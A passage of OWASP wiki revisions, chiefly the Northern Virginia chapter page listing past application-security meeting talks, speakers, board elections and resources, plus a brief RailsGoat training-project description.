'''Date/Time:''' November 4, 2010 @ 6pm<br> '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA<br> '''Speaker:''' Ben Tomhave<br> '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform<br> '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.<br> '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP.

----

=== June 2010 ===

'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/<br> '''TOPIC''': Risk Management - Time to blow it up and start over?<br>

'''DESCRIPTION''':

A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. "Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach."

Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]

<br> '''SPECIAL SPEAKER''':

[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group].

----

=== May 2010 ===

'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode<br> '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])
'''DESCRIPTION''':
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers.

----

=== September 2009 ===

'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time<br> '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166<br> '''TOPIC''': "Fortify 360"<br> '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)<br> '''DESCRIPTION''':

We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360!

The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served.

'''DATE''': Thursday, September 3, 2009. 6:00pm.<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Conducting Application Assessment"<br> '''SPEAKER''': Jeremy Epstein, SRI<br> '''DESCRIPTION''':

After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with "hanging chads". Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective.

'''ABOUT THE SPEAKER''':

Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant.

----

=== July 2009 ===

'''DATE''': July 9th 6pm-9pm EST<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Ounce's 02"<br> '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.<br> '''DESCRIPTION''': So what is O2?

Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People)

Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission).

Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review.

Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :)

The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours.

----

=== June 2009 ===

''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''<br> Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''<br>''

Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups.

Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group.

Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security]

----

=== May 2009 ===

''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''<br> Later, a panel:

*Steven Lavenhar, Booz Allen Hamilton;
*Eric Dalci, Cigital Inc.

Panel moderated by John Steven <br>

This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools.

Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis]

----

=== April 2009 ===

''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''<br> Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.<br>

Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf

<br> Later,

*Nate Miller, Stratum Security;
*Jeremiah Grossman, Whitehat Security;
*Tom Brennan, Whitehat Security; and
*Wade Woolwine, AOL

served as penetration testing panels answering questions posed and moderated by Ken Van Wyk.

----

=== February 2009 ===

''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity'''

Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth.

This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes.

Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache."

(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett )

Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]]

''John Steven, Cigital'': '''Moving Beyond Top N Lists'''

Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]]

<br> Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real.

John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University.

----

=== January 2009 ===

To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project.

''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI'''

Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices.

Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes & Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI.

Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]]

''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS'''

The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies.

Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard.

Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]]

----

=== November 2008 ===

For our November 2008 meeting, we had two great presentations on software assurance and security testing.

''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance'''

Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed.

Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]

''Paco Hope, Cigital'': '''The Web Security Testing Cookbook'''

The Web Security Testing Cookbook (O'Reilly & Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort.

Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]]

Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]

----

=== October 2008 ===

For our October 2008 meeting, we had two fascinating talks relating to forensics.

''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats'''

Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today.

Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats]

''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data'''

Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities.

Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data]

=== History ===

The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship.

==== Chapter Groups ====

Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in:

*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling]
*[http://groups.google.com/group/novaowasp_mobile Mobile]

=== OWASP NoVa Members On Twitter ===

Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615]

John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul]

Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino]

Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview]

Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky]

Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov]

Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks]

Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt]

Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity]

Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889]

==== Knowledge ====

The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as:

*Threat Modeling
*[[Code Review and Static Analysis with tools]]
*Penetration Testing and Dynamic Analysis tools
*Monitoring/Dynamic patching (WAFs)

Certain projects our members are involved in cross-cut these activities, providing value throughout. They include:

*ASVS

=== Static Analysis Curriculum ===

*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].

The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter].

[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]]

'''Contacts'''<br> Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader.

<br>

=== Flash Talk Resources ===

Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] <br> [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information <br> Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] <br>

__NOTOC__ <headertabs />

<paypal>Northern Virginia</paypal>

[[Category:OWASP Chapter]]
[[Category:United States]]
[[Category:Virginia]]
[[Category:Washington,_DC]]

Forgot Password Cheat Sheet

2016-07-11T19:13:19Z

Michael McCabe:

OWASP Rails Goat Project

2016-06-02T16:12:47Z

Michael McCabe:

=Main=
Railsgoat is a vulnerable version of the Ruby on Rails Framework and includes vulnerabilities from the OWASP Top 10, as well as some "extras" the initial project contributors felt worthwhile to share. This project is designed to educate both developers as well as security professionals. More information can be found at the "Unofficial" project site, listed below.

The unofficial but maintained project page which includes tutorials, getting started, FAQ, etc. [http://railsgoat.cktricky.com RailsGoat Unofficial Homepage]

=Project About=
{{:Projects/OWASP_Rails_Goat_Project}}

From the Unofficial project page

''The idea is simple.
Free training for both developers and security professionals.
All of it specific to the Ruby on Rails framework.''

[[Category:OWASP Project]]

{{Railsgoat Info
| project_name = Railsgoat
| project_home_page = http://railsgoat.cktricky.com
| project_description = Free training tool, vulnerable version of Ruby on Rails with Tutorials
| project_license = MIT
| leader_name[1-10] = Ken Johnson, Mike McCabe
| leader_email[1-10] = ken.johnson@owasp.org, michael.mccabe@owasp.org
}}

Virginia

2016-01-12T02:29:47Z

Michael McCabe:

==== About ====

[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. OWASP Northern Virginia has almost 1000 members with a wide range of experience and backgrounds. We are also one of the two hosts with OWASP DC, hosting the 2016 OWASP AppSec USA Conference in Washington, DC. We'll be looking for members to help volunteer during the next few months.

We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules.

The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics.

{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.

=== 2016 AppSec USA ===

More info coming.

We will be looking for volunteers to help with the conference.

=== 2015 Chapter Election Candidates ===
*Mike McCabe - Board Chair
**OWASP Membership ID: 020000901
**Endorsement - Jack Mannino, Current Board Chair
**Full Disclosure: Mike reports directly to me at our day job.
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.
*Akshay Sivananda
**OWASP Membership ID: 020000050
**Endorsement - Ping Ning, Chapter Member
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.
*Abdullah Munawar
**OWASP Membership ID: 020000037
**Endorsement - Jon Callahan, Chapter Member
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been.

=== Chapter Board ===
Previously having had a Chapter Leader, then a Chapter "Program Committee", the chapter is now run by a full board (alphabetical order):
* Michael McCabe - Board Chair
* Abdullah Munawar
* Akshay Sivananda

Board member responsibilities include:

<pre style="white-space: pre-wrap;"> * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics
* Recruiting OWASP membership
* Driving OWASP NoVA Chapter attendance and involvement
* Deferring to, facilitating, and supporting the activities and projects of chapter membership
* Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions
* Scouting, clearing, and scheduling chapter meeting venues and catering
* Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations
* Collecting and auditing use of chapter funds
* Voting on chapter matters
</pre>
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}

You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter.

=== Schedule ===

Meetings are (generally) held the first Thursday of the month.

Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.

== Next Meeting ==

We'll post all meetings on the Meetup page below.

We can also be contacted through the comment or messages systems on Meetup.

For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].

== Past meetings ==

===September 2014===
'''Date/Time:''' September 4th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]

'''AGENDA:'''
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.

'''Presentation Title:'''
The World of Ruby on Rails Security

'''Abstract:'''
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.

'''Speaker Bio:'''
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.

----

===July 2014===
'''Date/Time:''' July 10th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]

'''AGENDA:'''
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!

'''Presentation Title:'''
OAuth 1.0 Authorization and Security

'''Abstract:'''
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.

'''Speaker Bio:'''
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.

----

===February 2013===
'''Date/Time:''' February 7th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]

'''AGENDA:'''
* News / Updates
* Talk: Jeffrey Walton - "Securing Wireless Channels in the Mobile Space", [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]
* Firetalks!

'''Presentation Title:'''
Securing Wireless Channels in the Mobile Space

'''Abstract:'''
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.

'''Speaker Bio:'''
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).

'''Downloads:'''
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]

----

===January 2013===
'''Date/Time:''' January 10th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]

'''AGENDA:'''
* News / Updates
* Upcoming chapter elections and 2013 plans
* Talk: "Automating (Some) Android Security Testing"
* Firetalks!

'''Presentation Title:'''
Automating (Some) Android Security Testing

'''Abstract:'''
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).

'''Speaker Bio:'''
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]

----

===October 2012===
'''Date/Time:''' October 4th, 2012 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - "Benchmarking Web Application Scanners for YOUR Organization", [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]
* Firetalks!

'''Presentation Title:'''
Benchmarking Web Application Scanners for YOUR Organization

'''Abstract:'''
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.

'''Speaker Bio:'''
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.

----

=== July 2012 ===
'''Date/Time:''' July 12th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - "Password Storage Security"
* Firetalks!

'''Presentation Title:'''
